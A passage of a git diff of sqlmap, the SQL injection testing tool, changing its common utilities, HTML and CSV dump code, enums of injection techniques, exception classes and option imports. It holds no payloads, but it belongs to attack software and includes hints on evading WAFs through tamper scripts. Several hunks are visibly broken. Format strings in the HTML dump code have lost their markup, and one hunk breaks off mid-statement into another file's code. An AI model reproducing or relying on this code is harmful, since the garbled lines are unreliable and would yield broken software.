else: + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) + count += 1 else: - raise SqlmapNoneDataException("wrong number of parameters during string formatting") - count += 1 - + break return retVal def getFilteredPageContent(page, onlyText=True): @@ -1515,6 +1669,10 @@ def getPageWordSet(page): return retVal def showStaticWords(firstPage, secondPage): + """ + Prints words appearing in two different response pages + """ + infoMsg = "finding static words in longest matching part of dynamic page content" logger.info(infoMsg) @@ -1602,13 +1760,17 @@ def getConsoleWidth(default=80): width = int(os.getenv("COLUMNS")) else: try: - process = execute("stty size", shell=True, stdout=PIPE, stderr=PIPE) + try: + FNULL = open(os.devnull, 'w') + except IOError: + FNULL = None + process = execute("stty size", shell=True, stdout=PIPE, stderr=FNULL or PIPE) stdout, _ = process.communicate() items = stdout.split() if len(items) == 2 and items[1].isdigit(): width = int(items[1]) - except OSError: + except (OSError, MemoryError): pass if width is None: @@ -1639,8 +1801,14 @@ def parseXmlFile(xmlFile, handler): Parses XML file by a given handler """ - with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream: - parse(stream, handler) + try: + with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream: + parse(stream, handler) + except (SAXParseException, UnicodeError), ex: + errMsg = "something seems to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, ex) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException, errMsg def getSQLSnippet(dbms, sfile, **variables): """ @@ -1680,7 +1848,7 @@ def getSQLSnippet(dbms, sfile, **variables): if choice and choice[0].lower() == "y": for var in variables: msg = "insert value for variable '%s': " % var - val = readInput(msg) + val = readInput(msg, default="") retVal = retVal.replace(r"%%%s%%" % var, val) return retVal @@ -1694,7 +1862,7 @@ def readCachedFileContent(filename, mode='rb'): with kb.locks.cache: if filename not in kb.cache.content: checkFile(filename) - with codecs.open(filename, mode, UNICODE_ENCODING) as f: + with openFile(filename, mode) as f: kb.cache.content[filename] = f.read() return kb.cache.content[filename] @@ -1759,7 +1927,7 @@ def initCommonOutputs(): kb.commonOutputs = {} key = None - with codecs.open(paths.COMMON_OUTPUTS, 'r', UNICODE_ENCODING) as f: + with openFile(paths.COMMON_OUTPUTS, 'r') as f: for line in f.readlines(): # xreadlines doesn't return unicode strings when codec.open() is used if line.find('#') != -1: line = line[:line.find('#')] @@ -1785,31 +1953,36 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un checkFile(filename) - with codecs.open(filename, 'r', UNICODE_ENCODING) if unicode_ else open(filename, 'r') as f: - for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used - if commentPrefix: - if line.find(commentPrefix) != -1: - line = line[:line.find(commentPrefix)] + try: + with openFile(filename, 'r', errors="ignore") if unicode_ else open(filename, 'r') as f: + for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used + if commentPrefix: + if line.find(commentPrefix) != -1: + line = line[:line.find(commentPrefix)] - line = line.strip() + line = line.strip() - if not unicode_: - try: - line = str.encode(line) - except UnicodeDecodeError: - continue + if not unicode_: + try: + line = str.encode(line) + except UnicodeDecodeError: + continue - if line: - if lowercase: - line = line.lower() + if line: + if lowercase: + line = line.lower() - if unique and line in retVal: - continue + if unique and line in retVal: + continue - if unique: - retVal[line] = True - else: - retVal.append(line) + if unique: + retVal[line] = True + else: + retVal.append(line) + except (IOError, OSError, MemoryError), ex: + errMsg = "something went wrong while trying " + errMsg += "to read the content of file '%s' ('%s')" % (filename, ex) + raise SqlmapSystemException(errMsg) return retVal if not unique else retVal.keys() @@ -1918,7 +2091,7 @@ def getPartRun(alias=True): else: return retVal -def getUnicode(value, encoding=None, system=False, noneToNull=False): +def getUnicode(value, encoding=None, noneToNull=False): """ Return the unicode representation of the supplied value: @@ -1934,25 +2107,25 @@ def getUnicode(value, encoding=None, system=False, noneToNull=False): return NULL if isListLike(value): - value = list(getUnicode(_, encoding, system, noneToNull) for _ in value) + value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value - if not system: - if isinstance(value, unicode): - return value - elif isinstance(value, basestring): - while True: + if isinstance(value, unicode): + return value + elif isinstance(value, basestring): + while True: + try: + return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING) + except UnicodeDecodeError, ex: try: - return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING) - except UnicodeDecodeError, ex: + return unicode(value, UNICODE_ENCODING) + except: value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] - else: - return unicode(value) # encoding ignored for non-basestring instances else: try: - return getUnicode(value, sys.getfilesystemencoding() or sys.stdin.encoding) - except: - return getUnicode(value, UNICODE_ENCODING) + return unicode(value) + except UnicodeDecodeError: + return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances def longestCommonPrefix(*sequences): """ @@ -2154,7 +2327,7 @@ def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CH return result -def urlencode(value, safe="%&=", convall=False, limit=False, spaceplus=False): +def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): """ URL encodes given value @@ -2169,6 +2342,12 @@ def urlencode(value, safe="%&=", convall=False, limit=False, spaceplus=False): result = None if value is None else "" if value: + if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): + warnMsg = "if you experience problems with " + warnMsg += "non-ASCII identifier names " + warnMsg += "you are advised to rerun with '--tamper=charunicodeencode'" + singleTimeWarnMessage(warnMsg) + if convall or safe is None: safe = "" @@ -2241,7 +2420,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg): dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) def getPageTemplate(payload, place): # Cross-linked function - pass + raise NotImplementedError def getPublicTypeMembers(type_, onlyValues=False): """ @@ -2362,6 +2541,9 @@ def findDynamicContent(firstPage, secondPage): are dynamic, proper markings will be made """ + if not firstPage or not secondPage: + return + infoMsg = "searching for dynamic content" logger.info(infoMsg) @@ -2412,11 +2594,11 @@ def removeDynamicContent(page): if prefix is None and suffix is None: continue elif prefix is None: - page = re.sub(r'(?s)^.+%s' % suffix, suffix, page) + page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix, page) elif suffix is None: - page = re.sub(r'(?s)%s.+$' % prefix, prefix, page) + page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix, page) else: - page = re.sub(r'(?s)%s.+%s' % (prefix, suffix), '%s%s' % (prefix, suffix), page) + page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix, suffix), page) return page @@ -2490,7 +2672,7 @@ def parseSqliteTableSchema(value): table = {} columns = {} - for match in re.finditer(r"(\w+)\s+(TEXT|NUMERIC|INTEGER|REAL|NONE)\b", value, re.I): + for match in re.finditer(r"(\w+)\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|TEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", value, re.I): columns[match.group(1)] = match.group(2) table[conf.tbl] = columns @@ -2655,14 +2837,14 @@ def getSortedInjectionTests(): retVal = SORT_ORDER.LAST elif 'details' in test and 'dbms' in test.details: - if test.details.dbms in Backend.getErrorParsedDBMSes(): + if intersect(test.details.dbms, Backend.getIdentifiedDbms()): retVal = SORT_ORDER.SECOND else: retVal = SORT_ORDER.THIRD return retVal - if Backend.getErrorParsedDBMSes(): + if Backend.getIdentifiedDbms(): retVal = sorted(retVal, key=priorityFunction) return retVal @@ -2694,20 +2876,24 @@ def showHttpErrorCodes(): if code in httplib.responses else '?', count) \ for code, count in kb.httpErrorCodes.items()) logger.warn(warnMsg) + if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): + msg = "too many 4xx and/or 5xx HTTP error codes " + msg += "could mean that some kind of protection is involved (e.g. WAF)" + logger.debug(msg) -def openFile(filename, mode='r'): +def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", buffering=1): """ Returns file handle of a given filename """ try: - return codecs.open(filename, mode, UNICODE_ENCODING, "replace") + return codecs.open(filename, mode, encoding, errors, buffering) except IOError: errMsg = "there has been a file opening error for filename '%s'. " % filename errMsg += "Please check %s permissions on a file " % ("write" if \ mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") errMsg += "and that it's not locked by another process." - raise SqlmapFilePathException(errMsg) + raise SqlmapSystemException(errMsg) def decodeIntToUnicode(value): """ @@ -2722,14 +2908,11 @@ def decodeIntToUnicode(value): if isinstance(value, int): try: - # http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_ord - if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): + if value > 255: _ = "%x" % value if len(_) % 2 == 1: _ = "0%s" % _ - retVal = getUnicode(hexdecode(_)) - elif value > 255: - retVal = unichr(value) + retVal = getUnicode(hexdecode(_), encoding="UTF-16" if Backend.isDbms(DBMS.MSSQL) else None) else: retVal = getUnicode(chr(value)) except: @@ -2739,38 +2922,110 @@ def decodeIntToUnicode(value): def unhandledExceptionMessage(): """ - Returns detailed message about occured unhandled exception + Returns detailed message about occurred unhandled exception """ - errMsg = "unhandled exception in %s, retry your " % VERSION_STRING - errMsg += "run with the latest development version from the GitHub " - errMsg += "repository. If the exception persists, please send by e-mail " - errMsg += "to '%s' or open a new issue at '%s' with the following text " % (ML, ISSUES_PAGE) - errMsg += "and any information required to reproduce the bug. The " + errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING + errMsg += "run with the latest development version from official GitHub " + errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE + errMsg += "at '%s' " % ISSUES_PAGE + errMsg += "with the following text and any other information required to " + errMsg += "reproduce the bug. The " errMsg += "developers will try to reproduce the bug, fix it accordingly " - errMsg += "and get back to you.\n" - errMsg += "sqlmap version: %s%s\n" % (VERSION, "-%s" % REVISION if REVISION else "") + errMsg += "and get back to you\n" + errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % PLATFORM - errMsg += "Command line: %s\n" % " ".join(sys.argv) + errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", " ".join(sys.argv)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) - return maskSensitiveData(errMsg) + return errMsg + +def createGithubIssue(errMsg, excMsg): + """ + Automatically create a Github issue with unhandled exception information + """ + + issues = [] + try: + issues = getFileItems(paths.GITHUB_HISTORY, unique=True) + except: + pass + finally: + issues = set(issues) + + _ = re.sub(r"'[^']+'", "''", excMsg) + _ = re.sub(r"\s+line \d+", "", _) + _ = re.sub(r'File ".+?/(\w+\.py)', "\g<1>", _) + _ = re.sub(r".+\Z", "", _) + key = hashlib.md5(_).hexdigest()[:8] + + if key in issues: + return + + msg = "\ndo you want to automatically create a new (anonymized) issue " + msg += "with the unhandled exception information at " + msg += "the official Github repository? [y/N] " + try: + test = readInput(msg, default="N") + except: + test = None + + if test and test[0] in ("y", "Y"): + ex = None + errMsg = errMsg[errMsg.find("\n"):] + + + data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} + req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN}) + + try: + f = urllib2.urlopen(req) + content = f.read() + except Exception, ex: + content = None + + issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") + if issueUrl: + infoMsg = "created Github issue can been found at the address '%s'" % issueUrl.group(0) + logger.info(infoMsg) + + try: + with open(paths.GITHUB_HISTORY, "a+b") as f: + f.write("%s\n" % key) + except: + pass + else: + warnMsg = "something went wrong while creating a Github issue" + if ex: + warnMsg += " ('%s')" % ex + if "Unauthorized" in warnMsg: + warnMsg += ". Please update to the latest revision" + logger.warn(warnMsg) def maskSensitiveData(msg): """ Masks sensitive data in the supplied message """ - retVal = msg + retVal = getUnicode(msg) - for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "aCred", "pCred", "tbl", "db", "col", "user", "cookie", "proxy"))): - regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", item) + for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy"))): + regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) + if not conf.get("hostname"): + match = re.search(r"(?i)sqlmap.+(-u|--url)(\s+|=)([^ ]+)", retVal) + if match: + retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) + + + if getpass.getuser(): + retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal) + return retVal def listToStrValue(value): @@ -2845,7 +3100,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False): retVal = content - if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism: + if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode: def _(value): while 2 * REFLECTED_REPLACEMENT_REGEX in value: value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) @@ -2927,14 +3182,14 @@ def safeSQLIdentificatorNaming(name, isTable=False): if _: retVal = re.sub(r"(?i)\A%s\." % DEFAULT_MSSQL_SCHEMA, "", retVal) - if retVal.upper() in kb.keywords or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) + if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): retVal = "`%s`" % retVal.strip("`") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2): retVal = "\"%s\"" % retVal.strip("\"") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.strip("\"").upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,): + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and not re.match(r"\A\w+\Z", retVal, re.U): retVal = "[%s]" % retVal.strip("[]") if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): @@ -3056,7 +3311,10 @@ def expandMnemonics(mnemonics, parser, args): if opt.startswith(name): options[opt] = option - if name in options: + if not options: + warnMsg = "mnemonic '%s' can't be resolved" % name + logger.warn(warnMsg) + elif name in options: found = name debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) @@ -3066,7 +3324,8 @@ def expandMnemonics(mnemonics, parser, args): warnMsg += "Resolved to shortest of those ('%s')" % found logger.warn(warnMsg) - found = options[found] + if found: + found = options[found] else: found = pointer.current[0] debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) @@ -3134,6 +3393,8 @@ def randomizeParameterValue(value): retVal = value + value = re.sub(r"%[0-9a-fA-F]{2}", "", value) + for match in re.finditer('[A-Z]+', value): retVal = retVal.replace(match.group(), randomStr(len(match.group())).upper()) @@ -3173,7 +3434,10 @@ def asciifyUrl(url, forceQuote=False): return url # idna-encode domain - hostname = parts.hostname.encode("idna") + try: + hostname = parts.hostname.encode("idna") + except LookupError: + hostname = parts.hostname.encode(UNICODE_ENCODING) # UTF8-quote the other parts. We check each part individually if # if needs to be quoted - that should catch some additional user @@ -3259,25 +3523,27 @@ def findPageForms(content, url, raise_=False, addToTargets=False): try: forms = ParseResponse(response, backwards_compat=False) + except UnicodeError: + pass except ParseError: - warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url - logger.warning(warnMsg) - response.seek(0) - filtered = _("".join(re.findall(FORM_SEARCH_REGEX, response.read())), response.geturl()) - try: - forms = ParseResponse(filtered, backwards_compat=False) - except ParseError: - errMsg = "no success" - if raise_: - raise SqlmapGenericException(errMsg) - else: - logger.debug(errMsg) + if "\n\n\n") + dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) + dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) + dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) + dataToDumpFile(dumpFP, "\n\n\n\n\n\n") if count == 1: self._write("[1 entry]") @@ -452,14 +508,6 @@ class Dump(object): self._write(separator) - if conf.dumpFormat == DUMP_FORMAT.HTML: - headNode = documentNode.createElement("thead") - rowNode = documentNode.createElement("tr") - tableNode.appendChild(headNode) - headNode.appendChild(rowNode) - bodyNode = documentNode.createElement("tbody") - tableNode.appendChild(bodyNode) - for column in columns: if column != "__infos__": info = tableValues[column] @@ -477,12 +525,13 @@ class Dump(object): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - entryNode = documentNode.createElement("td") - rowNode.appendChild(entryNode) - entryNode.appendChild(documentNode.createTextNode(column)) + dataToDumpFile(dumpFP, "" % cgi.escape(column).encode("ascii", "xmlcharrefreplace")) field += 1 + if conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "\n\n\n\n") + self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: @@ -503,8 +552,7 @@ class Dump(object): values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: - rowNode = documentNode.createElement("tr") - bodyNode.appendChild(rowNode) + dataToDumpFile(dumpFP, "") for column in columns: if column != "__infos__": @@ -525,18 +573,21 @@ class Dump(object): self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: - mimetype = magic.from_buffer(value, mime=True) - if any(mimetype.startswith(_) for _ in ("application", "image")): - if not os.path.isdir(dumpDbPath): - os.makedirs(dumpDbPath, 0755) + try: + mimetype = magic.from_buffer(value, mime=True) + if any(mimetype.startswith(_) for _ in ("application", "image")): + if not os.path.isdir(dumpDbPath): + os.makedirs(dumpDbPath, 0755) - filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (unsafeSQLIdentificatorNaming(column), randomInt(8))) - warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) - logger.warn(warnMsg) + filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (unsafeSQLIdentificatorNaming(column), randomInt(8))) + warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) + logger.warn(warnMsg) - with open(filepath, "wb") as f: - _ = safechardecode(value, True) - f.write(_) + with open(filepath, "wb") as f: + _ = safechardecode(value, True) + f.write(_) + except magic.MagicException, err: + logger.debug(str(err)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: @@ -544,9 +595,7 @@ class Dump(object): else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: - entryNode = documentNode.createElement("td") - rowNode.appendChild(entryNode) - entryNode.appendChild(documentNode.createTextNode(value)) + dataToDumpFile(dumpFP, "" % cgi.escape(value).encode("ascii", "xmlcharrefreplace")) field += 1 @@ -557,6 +606,8 @@ class Dump(object): pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") + elif conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "\n") self._write("|", console=console) @@ -568,17 +619,16 @@ class Dump(object): elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "\n\n\n") - dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) - dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) - dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) - dataToDumpFile(dumpFP, "\n\n") - dataToDumpFile(dumpFP, tableNode.toxml()) - dataToDumpFile(dumpFP, "\n") + dataToDumpFile(dumpFP, "\n
%s
%s
\n\n") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() - logger.info("table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName)) + + msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) + if not warnFile: + logger.info(msg) + else: + logger.warn(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): if hasattr(conf, "api"): diff --git a/lib/core/enums.py b/lib/core/enums.py index ad4ad1ea6..cb1b7b36f 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -71,8 +71,10 @@ class PLACE: class POST_HINT: SOAP = "SOAP" JSON = "JSON" + JSON_LIKE = "JSON-like" MULTIPART = "MULTIPART" XML = "XML (generic)" + ARRAY_LIKE = "Array-like" class HTTPMETHOD: GET = "GET" @@ -135,9 +137,15 @@ class MOBILES: class PROXY_TYPE: HTTP = "HTTP" + HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" +class REGISTRY_OPERATION: + READ = "read" + ADD = "add" + DELETE = "delete" + class DUMP_FORMAT: CSV = "CSV" HTML = "HTML" @@ -158,6 +166,7 @@ class HTTP_HEADER: COOKIE = "Cookie" SET_COOKIE = "Set-Cookie" HOST = "Host" + LOCATION = "Location" PRAGMA = "Pragma" PROXY_AUTHORIZATION = "Proxy-Authorization" PROXY_CONNECTION = "Proxy-Connection" @@ -166,12 +175,19 @@ class HTTP_HEADER: SERVER = "Server" USER_AGENT = "User-Agent" TRANSFER_ENCODING = "Transfer-Encoding" + URI = "URI" VIA = "Via" class EXPECTED: BOOL = "bool" INT = "int" +class OPTION_TYPE: + BOOLEAN = "boolean" + INTEGER = "integer" + FLOAT = "float" + STRING = "string" + class HASHDB_KEYS: DBMS = "DBMS" CONF_TMP_PATH = "CONF_TMP_PATH" @@ -192,10 +208,10 @@ class PAYLOAD: SQLINJECTION = { 1: "boolean-based blind", 2: "error-based", - 3: "UNION query", + 3: "inline query", 4: "stacked queries", 5: "AND/OR time-based blind", - 6: "inline query", + 6: "UNION query", } PARAMETER = { @@ -234,10 +250,10 @@ class PAYLOAD: class TECHNIQUE: BOOLEAN = 1 ERROR = 2 - UNION = 3 + QUERY = 3 STACKED = 4 TIME = 5 - QUERY = 6 + UNION = 6 class WHERE: ORIGINAL = 1 @@ -323,4 +339,9 @@ class AUTH_TYPE: BASIC = "basic" DIGEST = "digest" NTLM = "ntlm" - CERT = "cert" + PKI = "pki" + +class AUTOCOMPLETE_TYPE: + SQL = 0 + OS = 1 + SQLMAP = 2 diff --git a/lib/core/exception.py b/lib/core/exception.py index ba2166241..faeff7c41 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -23,6 +23,9 @@ class SqlmapFilePathException(SqlmapBaseException): class SqlmapGenericException(SqlmapBaseException): pass +class SqlmapInstallationException(SqlmapBaseException): + pass + class SqlmapMissingDependence(SqlmapBaseException): pass @@ -44,12 +47,21 @@ class SqlmapSilentQuitException(SqlmapBaseException): class SqlmapUserQuitException(SqlmapBaseException): pass +class SqlmapShellQuitException(SqlmapBaseException): + pass + class SqlmapSyntaxException(SqlmapBaseException): pass +class SqlmapSystemException(SqlmapBaseException): + pass + class SqlmapThreadException(SqlmapBaseException): pass +class SqlmapTokenException(SqlmapBaseException): + pass + class SqlmapUndefinedMethod(SqlmapBaseException): pass diff --git a/lib/core/log.py b/lib/core/log.py index f477a56ec..3d3328545 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -41,4 +41,4 @@ FORMATTER = logging.Formatter("\r[%(asctime)s] [%(levelname)s] %(message)s", "%H LOGGER_HANDLER.setFormatter(FORMATTER) LOGGER.addHandler(LOGGER_HANDLER) -LOGGER.setLevel(logging.WARN) +LOGGER.setLevel(logging.INFO) diff --git a/lib/core/option.py b/lib/core/option.py index 6d32dbb1b..df20fdcc8 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -10,22 +10,27 @@ import glob import inspect import logging import os +import random import re import socket import string import sys +import tempfile import threading import time import urllib2 import urlparse +import lib.controller.checks import lib.core.common import lib.core.threads import lib.core.convert +import lib.request.connect from lib.controller.checks import checkConnection from lib.core.common import Backend from lib.core.common import boldifyMessage +from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import getPublicTypeMembers from lib.core.common import extractRegexResult @@ -42,11 +47,12 @@ from lib.core.common import openFile from lib.core.common import parseTargetDirect from lib.core.common import parseTargetUrl from lib.core.common import paths -from lib.core.common import randomRange from lib.core.common import randomStr +from lib.core.common import readCachedFileContent from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin +from lib.core.common import safeExpandUser from lib.core.common import sanitizeStr from lib.core.common import setOptimize from lib.core.common import setPaths @@ -71,6 +77,7 @@ from lib.core.enums import DUMP_FORMAT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import MOBILES +from lib.core.enums import OPTION_TYPE from lib.core.enums import PAYLOAD from lib.core.enums import PRIORITY from lib.core.enums import PROXY_TYPE @@ -79,45 +86,41 @@ from lib.core.enums import WIZARD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUserQuitException from lib.core.log import FORMATTER from lib.core.optiondict import optDict -from lib.core.purge import purge -from lib.core.settings import ACCESS_ALIASES from lib.core.settings import BURP_REQUEST_REGEX +from lib.core.settings import BURP_XML_HISTORY_REGEX from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR -from lib.core.settings import DB2_ALIASES +from lib.core.settings import DBMS_ALIASES from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORT -from lib.core.settings import FIREBIRD_ALIASES +from lib.core.settings import DUMMY_URL from lib.core.settings import INJECT_HERE_MARK from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR +from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET from lib.core.settings import LOCALHOST -from lib.core.settings import MAXDB_ALIASES from lib.core.settings import MAX_CONNECT_RETRIES from lib.core.settings import MAX_NUMBER_OF_THREADS -from lib.core.settings import MSSQL_ALIASES -from lib.core.settings import MYSQL_ALIASES from lib.core.settings import NULL -from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PARAMETER_SPLITTING_REGEX -from lib.core.settings import PGSQL_ALIASES from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import SITE -from lib.core.settings import SQLITE_ALIASES +from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_OS -from lib.core.settings import SYBASE_ALIASES from lib.core.settings import TIME_DELAY_CANDIDATES from lib.core.settings import UNION_CHAR_REGEX from lib.core.settings import UNKNOWN_DBMS_VERSION @@ -127,19 +130,22 @@ from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.threads import 